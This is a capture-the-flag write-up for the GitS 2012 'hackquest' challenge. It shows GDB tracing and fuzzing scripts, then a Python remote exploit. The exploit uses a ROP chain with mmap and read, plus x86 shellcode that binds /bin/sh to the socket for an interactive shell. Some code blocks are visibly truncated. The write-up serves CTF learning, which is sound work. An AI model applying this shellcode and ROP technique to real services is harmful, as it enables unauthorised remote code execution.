GitS teaser 2012 – hackquest

This challenge is a remote exploitation challenge in a text-based adventure game. The game binary is quite complicated for a C program, using a bunch of structs and unions to store the game data. The bug which can be exploited is not one of the standard memory corruption bugs, but is instead an error in the way the game logic deals with these structures.

Here’s how we found the bug, and how we exploited it.

We first quickly scanned the disassembly for obviously incorrect use of some of the usual suspects (strcpy, sprintf etc). It quickly became clear that this wasn’t going to work, so we fired up IDA and HexRays. The decompilation produced by HexRays makes things a lot clearer, but it is still not very readable because of the use of unions and structs which have not been defined yet.

One good thing about the decompilation is it allowed us to rule out the ‘usual suspects’ of format string exploits, buffer overflows, double frees, integer overflows etc.

Because of the small number of challenges, while one person was struggling to get HexRays to correctly interpret all the structs, another team member was doing tracing and bruteforce guessing against the binary. This was how we found the bug in the end.

A little GDB script was crafted to dump possible states of the server:

set follow-fork-mode child

break *0x0804925f
commands 1
printf "<< [GET] POSSIBLE VALUE: '%s'\n", $eax

break *0x0804943e
commands 2
printf "<< [USE] POSSIBLE VALUE: '%s'\n", $eax

break *0x08049555
commands 3
printf "<< [USE] POSSIBLE TARGET: '%s'\n", $eax

break *0x08049837
commands 4
printf "<< [GO ] POSSIBLE DIRECTION: '%s'\n", $edx

break *0x08049a5a
commands 5
printf ">> [CMD] %s\n", *(unsigned long*)($esp+4)


Another little script was used to generate a session that walks through the entire game like you’re supposed to, but after every step attempts all other commands .. including applying current items from the inventory:

$commands = array(
        "get can", "use can", "go south", "go south", "go north", "get letter", "go south",
        "go north", "use letter", "go north", "use password", "get binary", "use binary",
        "use 0-day on Gibson", "look", "get source", "use source"

$final = "MYNAME\n";
$curitem = "X";

foreach($commands as $cmd) {
        $final .=
                "look\n" .
                "use XXXXXXXX\n".
                "use ".$curitem." on YYYYYYYY\n".
                "get XXXXXXXX\n".
                "go XXXXXXXX\n" .
                $cmd . "\n";

                $p = explode(" ", $cmd);
                if (count($p) >= 2 && $p[0] == "get") $curitem = $p[1];
echo $final."\n";

Some funny stuff appeared in our GDB trace log:

Breakpoint 3, 0x08049555 in ?? ()

The script revealed that the game would accept a “use” command on the “letter” object with a target object! Even more interesting, the target string that it checks for looks like a bunch of pointers instead of a regular text string. So it appears there is some corruption going on in the game structures!

The obvious thing to try is to start a new game and enter this invalid “use letter on …” command. If you do this the game will crash with EIP at a value that looks a lot like ASCII, and in fact it turns out to be the username you enter at the start of the game! Now, we still don’t understand what the hell is going on, but we can definitely exploit this!

At this point it was already quite late (the game started at midnight in our timezone) and we must have been quite sleepy since it took us a while to realize that the command buffer (with user controlled content!), was above current esp on the stack at the point we can do one abitrary function call. This means that we can just call a add-esp gadget using the username field, and then once esp points in a user-controlled buffer we can do a classic ROP exploit.

And of course add-esp gadgets are very common, almost every function epilogue is one in fact. Another useful factor is that the string read function used by the game will not stop reading on NULL bytes, so don’t have to worry about those when coding our ROP exploit.

The ROP exploit itself is very simple. The challenge authors were kind enough to use mmap in their program, so we can just mmap a readable, writable and executable page of memory at a fixed address, read() some shellcode into it, and run it.

This is the exploit we came up with:

import socket
import struct

target = ("localhost", 7331)

# fd number of the connection socket in the server process
# for some reason this should be 6 when running in gdb
fd = 4

# dup2 socket to stdin/stdout/stderr
shellcode = "\x31\xc9\xb1\x02\x31\xdb\xb3\x41\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf7"
shellcode = shellcode.replace("\x41", chr(fd))

# exec /bin/sh
shellcode += "\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xc1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80"

# rop gadgets
read = 0x8048784
pop7ret = 0x8048f61
mmap = 0x80486d4

# misc values for use in rop stack
mmap_addr = 0x66000000
mmap_size = 4096
arbitrary = 42

def packit(*stack):
	return struct.pack("I"*len(stack), *reversed(stack))

# just a simple mmap, read, exec rop stack
stack = packit(
	0,              # mmap offset: 0
	0xffffffff,		# mmap fd: -1
	0x31,           # mmap flags: MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS
	0x7,            # mmap prot: PROT_EXEC | PROT_READ | PROT_WRITE

print "[+] connecting to %s:%d" % target
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[+] sending name"

# send username. this is used as a function pointer when the letter is used on a target
# 0x8049019: add esp, 0x9c; ret
# this lands esp in the command buffer at offset 0x44, which is high enough that it won't get overwritten
s.send(struct.pack("I",0x8049019) + "\n")

print "[+] obtaining letter item"
s.send("get can\nuse can\ngo south\nget letter\n")

print "[+] loading ROP stack into command buffer and triggering exploit"
s.send(("A" * 0x44) + stack + "\n")

# use letter on blargh to launch the rop code, which will read shellcode into rwx mem and run it
s.send("use letter on \x2e\xa2\x04\x08\xbc\xa2\x04\x08\xde\xa2\x04\x08\x0c\xc2\x04\x08\x02\n")

# read all the responses from the server until the text of the letter is received
while "-ihackatlife" not in s.recv(4096): pass

# send shellcode which binds a shell to the open connection
print "[+] sending shellcode"

# get a proper shell
print "[+] launching shell:\n"
s.send("exec /bin/bash -p -i\n")

# connect stdio to socket until either EOF's. use low-level calls to bypass stdin buffering.
# also change the tty to character mode so we can have line editing and tab completion.
import termios, tty, select, os
old_settings = termios.tcgetattr(0)
	c = True
	while c:
		for i in select.select([0, s.fileno()], [], [], 0)[0]:
			c = os.read(i, 1024)
			if c: os.write(s.fileno() if i == 0 else 1, c)
except KeyboardInterrupt: pass
finally: termios.tcsetattr(0, termios.TCSADRAIN, old_settings)

The writeup by LeetMore has more details on the bug (and a pretty much identical exploit, though ours is flashier :P).

Trackbacks & Pings